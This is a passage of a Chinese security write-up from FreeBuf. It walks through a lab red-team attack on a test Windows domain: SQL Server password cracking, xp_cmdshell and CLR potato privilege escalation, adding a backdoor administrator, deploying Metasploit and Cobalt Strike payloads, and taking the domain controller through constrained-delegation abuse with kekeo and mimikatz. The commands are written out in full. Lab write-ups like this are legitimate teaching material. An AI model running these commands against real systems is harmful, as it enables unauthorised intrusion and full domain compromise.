# 查询配置了约束委派的用户：
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto找到sqlserver的用户设置了约束委派对10.10.10.18机器进行尝试80 端口、1433 SQL server端口、445 SMB端口这里通过FRP建立多层代理windows上使用 proxifier 设置代理链访问80页面，没什么东西或者利用点尝试爆破SQL server密码使用超级弱口令工具进行检查此时拿到了SQL server的密码随后使用ShqrpSQLTools.exe工具对xp_cmdshell调用系统命令.<span class="hljs-selector-tag">SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami目前的权限是nt authority\network service 即为普通服务权限在MSSQL中可以使用CLR组件提权，可以参考下面文章提权https:\/\/www.anquanke.com\/post\/id\/250346使用 SharpSQLTools 开启目标 clr，进行提权SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoamiSharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami提权成功添加一个管理员权限用户，用户名为 ocean.com 密码为 qwe.123SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 \/add"加入admin组SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com \/add"查看用户SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"接下来上线msf配置代理proxychains，在\/etc\/proxychains.conf文件中进行修改然后通过代理启动msf即可或者进入msf添加代理均可proxychains msfconsole使用 mssql_clr_payload 模块use exploit\/windows\/mssql\/mssql_clr_payload这里生成中转上线的CS马，和上述过程一样，新建监听器，通过msf上传cs马，使用 SharpSQLTools.exe 去执行 CS马，获取高权限用户，拿到 SQL server 主机。域控这里使用了约束委派拿域控，还有很多方式比如cve-2020-1472上线CS之后拿到用户密码通过约束委派攻击来接管域控上传工具 kekeo，利用 kekeo 请求该用户的 TGT：TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgt::ask \/user:sqlserver \/domain:redteam.red \/password:Server12345 \/ticket:administrator.kirbi"然后使用这个TGT获取域机器的STkekeo.exe "tgs::s4u \/tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi \/user:Administrator@redteam.red \/service:cifs\/owa.redteam.red"使用 mimikatz 将 ST2 导入当前会话即可，运行 mimikatz 进行 pttmimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi拿到域控。总结通过上述过程，我们对比如GPP，约束委派，SQLServer提权有了新的认知或者理解，网络安全的学习离不开实际操作，想要搞明白漏洞更是要实际去复现学习。最后希望大家提高安全意识，没有网络安全就没有国家安全！申明：本文仅供技术交流，请自觉遵守网络安全相关法律法规，切勿利用文章内的相关技术从事非法活动，如因此产生的一切不良后果与文章作者无关。本文作者：YLion，原文来自FreeBuf.COM<\/p>